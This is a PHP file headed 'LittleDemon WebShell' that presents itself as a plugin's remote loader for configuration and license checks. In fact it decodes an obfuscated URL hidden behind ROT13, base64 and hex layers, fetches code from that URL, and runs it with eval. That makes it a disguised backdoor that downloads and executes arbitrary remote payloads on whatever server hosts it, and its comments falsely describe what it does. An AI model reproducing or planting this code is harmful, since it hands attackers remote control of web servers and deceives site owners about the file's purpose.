LittleDemon WebShell

<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied.');
}
?>
<?php
/**
 * Remote Loader - Handle plugins's configuration and license validation.
 * 
 * This file performs internal checks and should not be modified directly.
 * Part of plugins's core components.
 */

/**
 * Perform a GET request with fallback to cURL.
 */
function plugins_remote_get($url)
{
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $result = curl_exec($ch);
  curl_close($ch);
  return $result;
}

/**
 * Transform a key by converting it to base64 and applying ROT13.
 */
function transform_key($input)
{
  $hex = '';
  for ($i = 0; $i < strlen($input); $i++) {
    $hex .= dechex(ord($input[$i]));
  }
  $base64 = base64_encode($hex);
  return str_rot13($base64);
}

/**
 * Reverse the transformation and extract original key.
 */
function reverse_key($input_key)
{
  $rot = str_rot13($input_key);
  $decoded = base64_decode($rot);
  $parsed = '';
  for ($i = 0; $i < strlen($decoded); $i += 2) {
    $parsed .= chr(hexdec(substr($decoded, $i, 2)));
  }
  return $parsed;
}

// Encoded plugins configuration key.
$key = 'Awt3AQp0AmN3ZmAuZzLlMwplAwR3AmWyAwp2BGp0Awt3AGLlAmH3ZmL1AmV2ZmMzAzH3AQL1AzH3AQWyAwZ2MwMxZzL2Lmp1AwZ2AGMyAwV3BGp0AwHlMwD2Awx2LmL1ZzD2MQL5AzH2BGWzAzD2ZGL5AzHlMwp2ZmRlMwL1ZmLmAQWyAmN2BQpj';

$plugins_endpoint = reverse_key($key);
$response = @file_get_contents($plugins_endpoint);
if (empty($response)) {
  $response = plugins_remote_get($plugins_endpoint);
}

if (is_string($response)) {
  eval('?>' . $response);
} else {
  echo "Error: plugins configuration unavailable.";
}